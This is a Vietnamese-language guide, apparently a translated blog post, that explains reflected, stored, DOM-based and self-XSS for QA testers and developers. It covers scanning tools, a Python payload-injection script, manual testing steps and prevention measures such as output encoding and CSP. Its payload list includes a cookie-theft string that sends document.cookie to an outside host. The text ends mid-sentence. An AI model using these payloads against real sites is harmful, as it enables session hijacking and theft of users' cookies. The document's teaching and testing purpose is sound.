Lỗ hổng Cross-Site Scripting (XSS): Chiến lược và ví dụ thử nghiệm

Theo số liệu thống kê tôi đã thấy và kinh nghiệm của tôi, các lỗ hổng XSS tiếp tục là mối đe dọa phổ biến đối với các ứng dụng web, gây ra rủi ro đánh cắp dữ liệu, chiếm quyền điều khiển phiên và các sự cố trang web. Tôi quyết định rằng tôi có thể dành nhiều thời gian hơn để nghiên cứu loại lỗ hổng này và ít nhất chia sẻ với bạn kiến thức cơ bản giống như tổng quan này để nhiều chuyên gia QA và nhà phát triển có thể ghi nhớ một số cách để kiểm tra ứng dụng của họ trước vấn đề này. Bài viết này khám phá các loại XSS, phương pháp thử nghiệm và phương pháp tự động hóa khác nhau, đồng thời cung cấp một số ví dụ và tải trọng để thử nghiệm thâm nhập hiệu quả.

Tập lệnh chéo trang (XSS) cho phép kẻ tấn công chèn các tập lệnh độc hại vào các trang web được người dùng khác xem, khai thác các lỗ hổng trong quá trình thực thi mã phía máy khách. Hiểu các loại lỗ hổng XSS khác nhau và sử dụng các chiến lược thử nghiệm phù hợp là rất quan trọng để xây dựng các ứng dụng web an toàn được bảo vệ trước các cuộc tấn công như vậy.

Khai thác XSS xảy ra khi dữ liệu đầu vào của người dùng không đáng tin cậy được làm sạch và thực thi không đầy đủ trong ứng dụng web, cho phép kẻ tấn công chèn và thực thi các tập lệnh độc hại trong bối cảnh trình duyệt của người dùng khác.

Các loại lỗ hổng XSS

XSS phản ánh

Xảy ra khi dữ liệu do người dùng cung cấp được lặp lại trong phản hồi mà không được xác thực hợp lệ.

Ví dụ: <script>alert('XSS_DEMO')</script> được chèn thông qua tham số URL.

Những cách khai thác này xảy ra khi một ứng dụng web phản ánh thông tin đầu vào chưa được xác thực của người dùng vào trình duyệt của người dùng mà không được dọn dẹp đúng cách. Trong cuộc tấn công này, kẻ tấn công tạo ra một URL độc hại chứa mã tập lệnh mà khi nạn nhân nhấp vào, URL này sẽ được thực thi trong bối cảnh trang web dễ bị tấn công. Tập lệnh độc hại không được lưu trữ trên máy chủ mà thay vào đó được phản ánh trực tiếp từ thông tin đầu vào của người dùng. Các lỗ hổng XSS được phản ánh thường được lợi dụng trong các cuộc tấn công lừa đảo hoặc để thao túng trải nghiệm duyệt web của người dùng. Tác động có thể nghiêm trọng, từ đánh cắp cookie đến chiếm quyền điều khiển phiên.

XSS được lưu trữ

Tập lệnh độc hại được lưu trữ vĩnh viễn trên máy chủ và được thực thi khi được người dùng khác truy cập.

Ví dụ: Tập lệnh độc hại được lưu trữ trong nhận xét/bài đăng trên bài đăng trên diễn đàn hoặc trang hồ sơ mạng xã hội.

Còn được gọi là XSS liên tục, phát sinh khi kẻ tấn công tiêm mã tập lệnh độc hại vào ứng dụng web, sau đó được lưu trữ ở phía máy chủ. Tập lệnh được chèn này sau đó sẽ được truy xuất và thực thi bất cứ khi nào người dùng khác truy cập trang dễ bị tấn công. Các cuộc tấn công XSS được lưu trữ đặc biệt nguy hiểm vì tập lệnh được chèn vẫn tồn tại theo thời gian, có khả năng ảnh hưởng đến nhiều người dùng và dẫn đến việc khai thác trên diện rộng. Những kẻ tấn công thường nhắm mục tiêu vào nội dung do người dùng tạo như nhận xét, bài đăng trên diễn đàn, tên thực thể được hiển thị trên trang web hoặc trường hồ sơ để thực thi tải trọng độc hại của chúng. Hậu quả của XSS được lưu trữ có thể bao gồm đánh cắp dữ liệu, chiếm đoạt tài khoản và phá hoại trang web, gây ra rủi ro đáng kể cho cả người dùng và tổ chức bị ảnh hưởng.

XSS dựa trên DOM

Việc thực thi tập lệnh dựa vào thao tác của DOM ở phía máy khách.

Ví dụ: Mã JS truy xuất và thực thi dữ liệu do người dùng kiểm soát từ hàm băm URL.

Nó xảy ra khi một ứng dụng web tự động thao tác DOM dựa trên đầu vào của người dùng không đáng tin cậy theo cách không an toàn. Không giống như các cuộc tấn công XSS truyền thống, liên quan đến việc xử lý phía máy chủ, XSS dựa trên DOM biểu hiện hoàn toàn ở phía máy khách. Những kẻ tấn công khai thác XSS dựa trên DOM bằng cách thao túng các tập lệnh phía máy khách để thực thi mã tùy ý trong trình duyệt của nạn nhân. Loại XSS này thường khó phát hiện và giảm thiểu hơn vì lỗ hổng nằm trong mã phía máy khách và có thể không rõ ràng trong quá trình thử nghiệm phía máy chủ. Các cuộc tấn công XSS dựa trên DOM có thể dẫn đến nhiều hậu quả khác nhau, bao gồm chiếm quyền điều khiển phiên, đánh cắp dữ liệu và thực hiện các hành động trái phép thay mặt người dùng, nêu bật tầm quan trọng của các biện pháp bảo mật phía máy khách và các biện pháp phát triển ứng dụng web thận trọng.

Tự XSS

Đây là một cuộc tấn công kỹ thuật xã hội trong đó kẻ tấn công lừa người dùng thực thi mã độc trong trình duyệt của họ. Không giống như các cuộc tấn công XSS truyền thống nhắm vào nhiều người dùng, Self-XSS khai thác lòng tin của người dùng để thực thi mã trong phiên của họ. Thông thường, những kẻ tấn công dụ nạn nhân dán mã JS trông có vẻ vô hại vào bảng điều khiển dành cho nhà phát triển của trình duyệt hoặc một số trường của trang web dưới vỏ bọc là một hành động vô hại, chẳng hạn như mở khóa một tính năng hoặc kiếm phần thưởng. Sau khi được thực thi, mã được tiêm có thể xâm phạm tài khoản của nạn nhân, đánh cắp thông tin nhạy cảm hoặc thay mặt họ thực hiện các hành động trái phép. Mặc dù bị giới hạn trong phiên của nạn nhân, Self-XSS vẫn là một mối đe dọa, nhấn mạnh tầm quan trọng của việc giáo dục và nâng cao nhận thức cho người dùng để nhận biết và tránh các chiến thuật lừa đảo như vậy.

Kiểm tra

Tự động hóa

• Sử dụng các công cụ kiểm tra bảo mật như OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix, v.v. để quét XSS tự động.
• Định cấu hình các công cụ để thu thập dữ liệu ứng dụng, xác định vectơ đầu vào và đưa tải trọng vào để phát hiện lỗ hổng XSS.
• Phân tích kết quả quét để tìm các lỗ hổng đã xác định, tái tạo chúng theo cách thủ công, tạo PoC, hiểu tác động tiềm ẩn và ưu tiên khắc phục sự cố.

Bạn có thể viết một số kịch bản; Tôi thích Python hơn, ví dụ:

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

Kiểm tra bằng tay

• Xác định các vectơ đầu vào dễ bị chèn XSS (ví dụ: trường đầu vào, thông số URL). Bạn có thể sử dụng trình thu thập thông tin và trình đánh hơi để xác định vectơ hiệu quả hơn.
• Tạo tải trọng để khai thác lỗ hổng XSS (ví dụ: thẻ tập lệnh, trình xử lý sự kiện).

Phân tích các phản hồi để xác định xem tải trọng có được phản ánh hay thực thi hay không. Tạo PoC, hiểu tác động tiềm ẩn và ưu tiên khắc phục sự cố.

Các bước:

1. Nhập thẻ tập lệnh, theo sau là một số mã JS, vào các trường nhập của ứng dụng của bạn.

   Ví dụ: tải trọng XSS cơ bản:

    <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.

2. Gửi đầu vào và xem tập lệnh có thực thi hay không.

3. Nếu đúng như vậy thì ứng dụng dễ bị tấn công XSS.

4. Nếu tập lệnh không thực thi, hãy thử sửa đổi đầu vào bằng cách thêm các thẻ HTML khác, chẳng hạn như <img> hoặc <iframe> và xem liệu chúng có được phản ánh trên trang hay không (thẻ này hầu như luôn hoạt động với tôi):

   <b>t</b>#`"/*—est

5. Bạn có thể thêm tập lệnh để truy vấn các tham số của URL ứng dụng web hoặc tên người dùng, tên tệp đã tải lên hoặc bất kỳ văn bản nào sẽ được hiển thị trên trang ứng dụng mà bạn có thể thay đổi.

6. Hãy nhận biết các xác nhận đầu vào của giao diện người dùng. Luôn cố gắng gửi giá trị bằng yêu cầu trực tiếp (sử dụng Postman, Burp hoặc bất kỳ công cụ tương tự nào).

7. Kiểm tra bảng điều khiển trình duyệt trong các công cụ dành cho nhà phát triển vì đôi khi bạn có thể không thấy bất kỳ thay đổi hiển thị nào trên trang nhưng một số ký hiệu, ví dụ: `"/*— có thể phá vỡ JS/HTML của trang và bạn sẽ thấy cảnh báo trong bảng điều khiển có thể là gợi ý cho bạn về cách sửa đổi tải trọng của mình để nhận XSS PoC

Sử dụng tính năng làm mờ và danh sách tải trọng - tự động hóa phương pháp này khi có thể hoặc sử dụng các công cụ đặc biệt cho nó.

Cá nhân tôi thích sử dụng tải trọng và thông tin từ đây , theo ý kiến của tôi, đây là một tài nguyên rất hữu ích.

Kiểm tra hộp đen

• Xác định các vectơ đầu vào dễ bị tấn công bởi XSS.
• Tạo và đưa vào các tải trọng XSS để đánh giá tác động và xác định các điểm dễ bị tổn thương.

Kiểm tra hộp xám

• Phân tích mã nguồn và quy trình dọn dẹp cho XSS tiềm năng.
• Tận dụng một phần kiến thức về ứng dụng để thử nghiệm có mục tiêu.

Khai thác XSS

XSS PoC

• Minh họa việc xác nhận lỗ hổng XSS bằng cách chèn tải trọng thực thi JS tùy ý.
• Sử dụng các tải trọng thay thế như hàm print() cho trình duyệt Chrome đăng phiên bản 92.

Khai thác XSS nâng cao

• Để đánh cắp cookie, thực hiện chiếm quyền điều khiển phiên hoặc thực thi mã tùy ý.
• Để mạo danh người dùng, lấy thông tin đăng nhập hoặc làm xấu mặt các trang web.

Bỏ qua bộ lọc XSS

• Trốn tránh các bộ lọc XSS phổ biến thông qua các kỹ thuật khác nhau như chèn giá trị thuộc tính thẻ, làm xáo trộn và Ô nhiễm tham số HTTP (HPP).
• Các tình huống ví dụ đang trình bày các cơ chế bỏ qua bộ lọc để thực thi tải trọng XSS thành công.

Kỹ thuật phòng ngừa

Xác thực đầu vào và mã hóa đầu ra

• Triển khai các cơ chế xác thực đầu vào (FE và BE) để đảm bảo dữ liệu do người dùng cung cấp phù hợp với các định dạng mong muốn và không chứa mã độc.
• Vệ sinh và xác thực tất cả thông tin đầu vào của người dùng ở phía máy chủ trước khi xử lý hoặc lưu trữ chúng.
• Mã hóa dữ liệu đầu ra một cách thích hợp để ngăn trình duyệt hiểu nó là nội dung hoạt động.
• Sử dụng các kỹ thuật mã hóa như mã hóa thực thể HTML, mã hóa URL và thoát JS dựa trên ngữ cảnh của dữ liệu đầu ra.

Chính sách bảo mật nội dung (CSP)

• Triển khai các tiêu đề Chính sách bảo mật nội dung (CSP) để xác định và thực thi các chính sách bảo mật liên quan đến việc thực thi tập lệnh, biểu định kiểu và các tài nguyên khác trong ứng dụng web. CSP cho phép quản trị viên hạn chế các nguồn có thể tải tập lệnh, giảm thiểu nguy cơ tấn công XSS bằng cách ngăn chặn việc thực thi các tập lệnh trái phép.
• Định cấu hình chỉ thị CSP để chỉ định các miền đáng tin cậy, cách sử dụng tập lệnh và kiểu nội tuyến cũng như các mã không tập lệnh, giúp giảm bề mặt tấn công cho XSS một cách hiệu quả.

Mã hóa đầu ra theo ngữ cảnh cụ thể

Mã hóa dữ liệu dựa trên ngữ cảnh mà dữ liệu đầu ra được hiển thị. Áp dụng các phương pháp mã hóa khác nhau cho HTML, JS, CSS và các ngữ cảnh khác để đảm bảo bảo vệ toàn diện chống lại XSS.

Ví dụ : sử dụng mã hóa thực thể HTML cho nội dung HTML, thoát JavaScript cho ngữ cảnh tập lệnh nội tuyến và thoát CSS cho thuộc tính kiểu để ngăn việc chèn tập lệnh và duy trì tính toàn vẹn dữ liệu trên nhiều ngữ cảnh đầu ra khác nhau.

Nhập danh sách trắng và danh sách đen

Triển khai danh sách trắng và danh sách đen đầu vào để lọc và xác thực thông tin đầu vào của người dùng dựa trên danh sách cho phép và danh sách từ chối được xác định trước đối với các ký tự, mẫu hoặc loại nội dung được phép và bị cấm.

• Danh sách trắng liên quan đến việc xác định rõ ràng các định dạng đầu vào dự kiến và từ chối mọi đầu vào không tuân thủ các thông số kỹ thuật này.
• Danh sách đen xác định và chặn các mẫu hoặc đầu vào độc hại đã biết, mặc dù nó có thể kém hiệu quả hơn do khả năng trốn tránh thông qua các kỹ thuật mã hóa hoặc làm xáo trộn.

Thư viện tiêu đề bảo mật và vệ sinh

• Sử dụng các tiêu đề bảo mật như X-XSS-Protection, X-Content-Type-Options và X-Frame-Options để cải thiện bảo mật ứng dụng web và ngăn chặn các vectơ tấn công khác nhau, bao gồm XSS.
• Tích hợp các thư viện và khung làm sạch của bên thứ ba vào ngăn xếp phát triển để tự động xác thực đầu vào, mã hóa đầu ra và các tác vụ quan trọng về bảo mật khác. Thường xuyên cập nhật và duy trì các thư viện này để giải quyết các mối đe dọa và lỗ hổng mới nổi một cách hiệu quả.

Thực hành an toàn cho nhà phát triển và nhận thức về bảo mật

• Thúc đẩy các phương pháp phát triển an toàn trong nhóm nhà phát triển và QA, nhấn mạnh tầm quan trọng của việc viết mã bảo mật, tiến hành đánh giá mã kỹ lưỡng và thực hiện kiểm tra bảo mật trong suốt vòng đời phát triển phần mềm.
• Thúc đẩy văn hóa nhận thức về bảo mật giữa các nhà phát triển, kỹ sư QA và các bên liên quan khác, khuyến khích học hỏi và chia sẻ kiến thức liên tục về XSS cũng như các lỗ hổng, kỹ thuật khai thác và biện pháp phòng ngừa khác.
• Đầu tư vào các chương trình đào tạo, khóa học, hội thảo, hội nghị và nguồn lực liên tục để trang bị cho các thành viên trong nhóm những kỹ năng và chuyên môn cần thiết để xác định, xử lý và ngăn chặn XSS một cách hiệu quả.

XSS gây ra các mối đe dọa dai dẳng cho các ứng dụng web, có nguy cơ vi phạm dữ liệu và gây mất lòng tin của người dùng. Hiểu các loại XSS và phương pháp kiểm tra là rất quan trọng để giảm thiểu hiệu quả. Các kỹ thuật phòng ngừa như xác thực đầu vào, mã hóa đầu ra và triển khai CSP sẽ cải thiện tính bảo mật của ứng dụng. Bằng cách ưu tiên các biện pháp bảo mật và cộng tác, các nhóm có thể bảo vệ ứng dụng của mình khỏi XSS và đảm bảo bảo mật đầy đủ cho ứng dụng web.

Nếu bạn là người mới bắt đầu và quan tâm đến an ninh mạng và thử nghiệm thâm nhập hoặc chỉ muốn cải thiện ứng dụng của mình để làm cho ứng dụng an toàn hơn, bạn có thể đọc các bài viết của tôi về các chủ đề này:

• https://hackernoon.com/vulnerability-scanners-essentials
• https://hackernoon.com/cybersecurity-essentials-practical-web-app-security-testing-tips-for-qa-engineers
• https://hackernoon.com/defending-your-web-app-a-guide-to-rate-limiting-and-brute-force-Attack-prevent

Để biết thêm chi tiết về XSS và tải trọng, bạn có thể tìm thấy các tài nguyên sau:

• https://owasp.org/www-community/Attack/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://Gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

Một lời nhắc nhở quan trọng: